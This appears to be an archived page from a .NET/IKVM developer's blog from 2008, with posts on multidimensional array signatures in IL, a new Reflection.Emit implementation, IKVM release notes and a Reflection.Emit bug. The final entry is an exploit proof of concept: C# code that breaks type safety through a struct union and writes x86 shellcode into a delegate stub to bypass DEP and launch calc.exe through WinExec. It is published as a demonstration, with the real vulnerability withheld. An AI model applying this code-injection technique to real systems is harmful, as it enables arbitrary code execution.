# Monday, 17 November 2008
.NET Array Weirdness

One of the lesser known features of the .NET runtime is the support for multidimensional and/or non-zero-based arrays. The typical arrays that you use (and that are the same as the arrays in Java) are called vectors in the CLI specification, but unfortunately the non-vector arrays don't have a specific name (they are simply called arrays in the CLI specification).

In C# you can easily create a non-vector array:

int[,] arr1 = new int[4, 4]

This creates a two dimensional array of integers with 16 elements. This array is zero based. If you want to create a non-zero-based array, you have to use the API, because C# doesn't directly support that:

int[,] arr2 = (int[,])Array.CreateInstance(typeof(int), new[] { 4, 4 }, new[] { 1, 1 });

This also creates a two dimensional array of integers with 16 elements, but in this case the indexes run from 1 through 5.

So far, so good. Now let's look at how things look at the IL level. If you use ildasm to look at the first C# based instantation you'll see:

ldc.i4.1
ldc.i4.1
newobj instance void int32[0...,0...]::.ctor(int32, int32)

Most of this looks straightforward if you're familiar with IL, except for the [0...,0...] part. It looks like the lower bounds are part of the type, but a simple experiment shows that this is not the case:

Console.WriteLine(arr1.GetType() == arr2.GetType());

This prints out True. This implies that the lower bounds are not part of the type (and the CLI specification confirms this). So why are they part of the signature? I don't know for sure, but it does have an interesting consequence. You can overload methods based on this:

.assembly extern mscorlib { }
.assembly Test { }
.module Test.exe

.class public Program
{
  .method public static void Foo(int32[0...,0...] foo)
  {
    ret
  }

  .method public static void Foo(int32[1...,1...] foo)
  {
    ret
  }

  .method private static void Main()
  {
    .entrypoint
    ldc.i4.1
    ldc.i4.1
    newobj instance void int32[0...,0...]::.ctor(int32, int32)
    call void Program::Foo(int32[0...,0...])
    ret
  }
}

This is a valid and verifiable application. Unfortunately, using the  .NET reflection API it is impossible to see the difference in signatures between the two Foo methods.

This limitation in reflection means that code compiled with the new IKVM.Reflection.Emit based ikvmc won't be able to call methods that have non-zero-based array parameters. It is also impossible to override these methods, but that was already the case with the previous System.Reflection.Emit based implementation as well.

Finally, in the above text I talk about the lower bounds, but the same thing applies to the upper bounds of the array.

Monday, 17 November 2008 07:08:46 (W. Europe Standard Time, UTC+01:00)  #    Comments [1]
# Friday, 14 November 2008
Introducing IKVM.Reflection.Emit

Over the past two months I've been working on reimplementing a large portion of the Reflection.Emit API from scratch. After finally growing tired of the System.Reflection.Emit bugs and limitations and not finding Mono.Cecil satisfactory either, I decided to build my own implementation.

I started out with these design goals:

  • API compatible with System.Reflection.Emit (as much as possible).
  • Implement only the Emit part and be compatible with System.Reflection.
  • Only implement functionality required by ikvmc, but not implemented functionality shouldn't silently fail (i.e. it should throw a NotSupportedException or NotImplementedException). This also means that the API is mostly write-only.
  • Efficient implementation, optimized for ikvmc specific scenarios.

I think I've met or exceeded all of the design goals. Without doing any significant performance work on my Ref.Emit implementation (other than the design), ikvmc became so much faster that it is rather emberassing for the Microsoft System.Reflection.Emit implementation.

I've only had to make a couple of minor changes to the ikvmc sources (apart from changing using System.Reflection.Emit; to using IKVM.Reflection.Emit; in every file) to account for the fact that IKVM.Reflection.Emit.ModuleBuilder and IKVM.Reflection.Emit.AssemblyBuilder unfortunately cannot extend System.Reflection.Module and System.Reflection.Assembly. However, it looks like this is fixed in the .NET 4.0 CTP.

Here are some random statistics about compiling IKVM.OpenJDK.ClassLibrary.dll on .NET 2.0 SP2 x64:

  System.Reflection.Emit     IKVM.Reflection.Emit  
File size 31,645,696 30,480,896   bytes
CPU time used 272 35   seconds
Peak virtual memory 1,433,399,296 1,035,018,240   bytes
Generation 0 GCs 770 896  
Generation 1 GCs 201 240  
Generation 2 GCs 11 8  

(The huge memory usage is not because it actually needs that much memory, but simply the result of the fact that garbage collection is more efficient if you have more memory available and that my system had about 1.5GB of free memory while running these tests.)

The smaller file size is because System.Reflection.Emit always uses fat method headers and IKVM.Reflection.Emit uses tiny method headers whenever possible.

There is still some work left to do, I've only spent limited time on debugging support and there is no support for Mono's .mdb format yet. I also haven't done any testing on Mono yet.

BTW, thanks to Sebastien Pouliot for code I lifted from Mono to parse strong name CAPI key blobs.

Other changes in this snapshot:

  • Dropped support for Visual Studio 2005.
  • Added error message when map.xml references non-existing constructor.
  • Added more statistics to ikvmc -time option output.

As always with a development snapshot, don't use this in production, but please do try it out and let me know about it. The sources are available in cvs and the binaries here: ikvmbin-0.39.3240.zip

Friday, 14 November 2008 10:01:50 (W. Europe Standard Time, UTC+01:00)  #    Comments [2]
# Wednesday, 12 November 2008
IKVM 0.38 Release Candidate 2

A codegen bug was found (not a regression, so there will be a 0.36 update as well) so here's another release candidate.

Changes:

  • Changed version to 0.38.0.2.
  • Fixed openjdk.build BOM issue on Linux.
  • Fixed jsr verifier bug that caused incorrect codegen under very specific circumstances (thanks to Brian Schwallier for tracking down a repro).

Binaries available here: ikvmbin-0.38.0.2.zip
Sources (+ binaries): Sources: ikvm-0.38.0.2.zip, classpath-0.95-stripped.zip, openjdk6-b12-stripped.zip

Wednesday, 12 November 2008 06:13:29 (W. Europe Standard Time, UTC+01:00)  #    Comments [0]
# Wednesday, 05 November 2008
IKVM 0.36 Update 2 Release Candidate 2

As announced when 0.36 was released, I will periodically release updates to 0.36 as long as there is enough interest in .NET 1.1 support.

This is the second release candidate of the second update.

Changes (all are back ported fixes):

  • Changed version to 0.36.0.13.
  • Fixed ikvmc not to open the key file for write access.
  • Added more efficient float/double to/from int/long bits converters.
  • Fixed libikvm-native.so build to include reference to gmodule-2.0 library.
  • Fixed ikvmc not to open the key file for write access.
  • Fixed Graphics2D.rotate() to convert rotation angle from radians (Java) to degrees (.NET).
  • Applied awt patch #1979656 by Daniel Wilson.
  • Fixed three String bugs found by OpenJDK string tests.
  • Fixed ldc <class> where <class> is a ghost array.
  • Fixed bug in instanceof <class> where <class> is a Serializable[].
  • Removed incorrect DataFormatException thrown in java.util.zip.InflaterHuffmanTree.
  • Fixed #2001802 contributed by Andy Malakov.
  • Fixed #2001799.
  • Fixed #2006953.
  • Made finalize() and clone() methods in cli.System.Object and cli.System.Exception final.

Binaries available here: ikvmbin-0.36.0.13.zip
Sources (+ binaries): ikvm-0.36.0.13.zip

Wednesday, 05 November 2008 10:08:46 (W. Europe Standard Time, UTC+01:00)  #    Comments [0]
# Tuesday, 04 November 2008
IKVM 0.38 Release Candidate 1

A couple of minor fixes.

Changes since RC0:

  • Updated version to 0.38.0.1
  • Hide nested types generated by callerID support
  • Made finalize() and clone() methods in cli.System.Object and cli.System.Exception final
  • Fixed reflection to work on .NET 2.0 RTM

Note that even though I fixed reflection to work on .NET 2.0 RTM, it still isn't a supported platform, I strongly recommend .NET 2.0 SP1 or higher.

Binaries available here: ikvmbin-0.38.0.1.zip

Sources: ikvm-0.38.0.1.zip, classpath-0.95-stripped.zip, openjdk6-b12-stripped.zip

Tuesday, 04 November 2008 06:36:51 (W. Europe Standard Time, UTC+01:00)  #    Comments [1]
# Friday, 26 September 2008
More Reflection.Emit Brokenness

Pardon me if I sound a little bitter today, but I just wasted almost a full day trying to work around this bug only to be stopped by yet another bug that makes it impossible to generate two mutually dependent assemblies with Reflection.Emit.

Also, while debugging I noticed another mind bogglingly stupid bug in the System.Reflection.Assembly source:

public override int GetHashCode() { return base.GetHashCode(); }

Why would you want to do that? Oh, of course! It's to get rid of a compiler warning... If you override Equals() you should also override GetHashCode(), BUT NOT LIKE THIS.

Here's small program that demonstrates the problem:

using System;
using System.Reflection;
using System.Reflection.Emit;

class Program
{
  static void Main()
  {
    AssemblyBuilder ab1 = AppDomain.CurrentDomain.DefineDynamicAssembly(new AssemblyName("A"),
                            AssemblyBuilderAccess.Run);
    ModuleBuilder mod1 = ab1.DefineDynamicModule("A.dll");
    TypeBuilder tb1 = mod1.DefineType("T");
    Type type = tb1.CreateType();
    Console.WriteLine(ab1.Equals(type.Assembly));
    Console.WriteLine(ab1.GetHashCode() == type.Assembly.GetHashCode());
  }
}

This prints out:

True
False

That clearly violates the Object.GetHashCode() contract.

Friday, 26 September 2008 08:47:51 (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]
# Wednesday, 24 September 2008
IKVM 0.38 Release Candidate 0

As with previous release candidates, this release includes strong named binaries and is considered to be (nearly) ready for production use. Please test this version and give feedback as soon as possible.

Changes since previous snapshot:

  • Changed version to 0.38.0.0 and strong named binaries.
  • Added missing HTMLEntities.res resource.
  • Re-introduced workaround for .NET JIT bug that causes .cctor not to run when a DynamicMethod invokes a method or gets/sets a field.

Binaries available here: ikvmbin-0.38.0.0.zip

Sources: ikvm-0.38.0.0.zip, classpath-0.95-stripped.zip, openjdk6-b12-stripped.zip

Wednesday, 24 September 2008 08:07:13 (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]
# Monday, 22 September 2008
Running JaC64

JaC64 is a open source Commodore 64 emulator written in Java. I have many fond childhood memories of my C64, so I spent a little time fixing a couple of AWT issues and hacking together some sound support for ikvm. The sound patch is here, but it won't go in because it is essentially hard coded for JaC64 and even then it doesn't really work, because it turns out that .NET has no decent sound API. The only API available is SoundPlayer, but it has an unacceptable latency (and can only play one sample at a time, so you can't hide the latency). JaC64 generates samples that are 0.25 seconds long and then plays these back to back. This means that you hear sound, but it is very choppy.

Two obligatory screen shots, first the emulator application and second just the C64 screen of my favorite game:

Monday, 22 September 2008 07:19:53 (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]
New Development Snapshot

This is the final development snapshot before the first 0.38 release candidate.

Changes since previous development snapshot:

  • Updated to OpenJDK 6 b12.
  • Updated IKVM.OpenJDK.ClassLibrary.dll copyright notices.
  • Removed hardcoded PublicKey from build process.
  • Fixed ikvmc regression that caused using .NET generic types not to work.
  • Added support to ikvmc for recognizing "access" bridge methods, so that they aren't hidden from other .NET code.
  • Removed warnings from IKVM.OpenJDK.ClassLibrary ikvmc build step.

WARNING: THIS IS A DEVELOPMENT SNAPSHOT, NOT AN OFFICIAL RELEASE.

Development snapshots are intended for evaluating and keeping track of where the project is going, not for production usage. The binaries have not been extensively tested and are not strong named.

This version supports .NET 2.0 SP1 and later. The binaries will run on Mono 2.0, but building on Mono 2.0 is not supported due an open bug.

Binaries available here: ikvmbin-0.37.3187.zip

The OpenJDK 6 b12 (re)source file needed to build from source are available here: openjdk6-b12-stripped.zip

Monday, 22 September 2008 06:51:27 (W. Europe Daylight Time, UTC+02:00)  #    Comments [3]
# Saturday, 13 September 2008
Writing a .NET Security Exploit PoC

Let's start out with some convenient types that allow bit twiddeling once we've subverted the type system:

class Union1
{
  internal volatile int i;
  internal volatile int j;
}

class Union2
{
  internal volatile object o;
  internal volatile int[] arr;
}

Now we need a way to get two different references to the same object. This is where the exploit comes in, but since I'm not going to publish an exploit for an unpatched bug, we'll make do with something that works but requires full trust:

[StructLayout(LayoutKind.Explicit)]
struct UnsafeUnion
{
  [FieldOffset(0)]
  internal Union1 u1;
  [FieldOffset(0)]
  internal Union2 u2;
}

static Union1 TypeSystemHole(Union2 u2)
{
  // NOT ACTUALLY A SECURITY HOLE!
  // You need full trust to execute this code.
  UnsafeUnion uu = new UnsafeUnion();
  uu.u2 = u2;
  return uu.u1;
}

Now for the interesting bit, getting some x86 code to execute:

Union1 u1;
Union2 u2 = new Union2();
u1 = TypeSystemHole(u2);

// u1 and u2 now reference the same object,
// meaning that we can now convert arbitrary integer
// into objects or arrays (and v.v.)

ThreadStart del = new ThreadStart(DummyMethod);

// A delegate provides an easy way to call the code we're
// generating. As it turns out, it is also a good way
// to bypass DEP, because the delegate stub is in writable
// executable memory.


u2.o = del;
u1.j = u1.i;
u1.j = u2.arr[2] - 12;

// Make the delegate object accessible via the object[],
// then get the address the delegate points to and make
// it accessible via the object[] reference.

// The x86 code we're creating is:
//
// 6A 05            push 5
// 68 xx xx xx xx   push offset string "calc.exe"
// B8 xx xx xx xx   mov eax,<address of kernel32!WinExec>
// FF D0            call eax
// C3               ret
//

MemoryStream mem = new MemoryStream();
BinaryWriter bw = new BinaryWriter(mem);
bw.Write((byte)0x6A);
bw.Write((byte)0x05);
bw.Write((byte)0x68);
u2.o = Encoding.ASCII.GetBytes("calc.exe\0");
bw.Write(u1.i + 8);
bw.Write((byte)0xB8);
bw.Write(GetProcAddressAny("WinExec"));
bw.Write((byte)0xFF);
bw.Write((byte)0xD0);
bw.Write((byte)0xC3);
bw.Write(0);

// Now that we've created the code, copy it into the delegate
// stub memory area.


byte[] tmp = mem.ToArray();
for (int i = 0; i < tmp.Length / 4; i++)
{
  u2.arr[1 + i] = BitConverter.ToInt32(tmp, i * 4);
}

// Invoke the delegate, which will result in running our
// code, instead of the delegate stub.

del();

The missing piece is GetProcAddressAny. It basically searches memory for kernel32 and looks up the address of the WinExec function.

The full source is available here: TypeSafetyExploitPoC.cs

Note that this PoC requires full trust and obviously only works on x86, but all the ideas are applicable to x64 as well.

Saturday, 13 September 2008 09:03:01 (W. Europe Daylight Time, UTC+02:00)  #    Comments [3]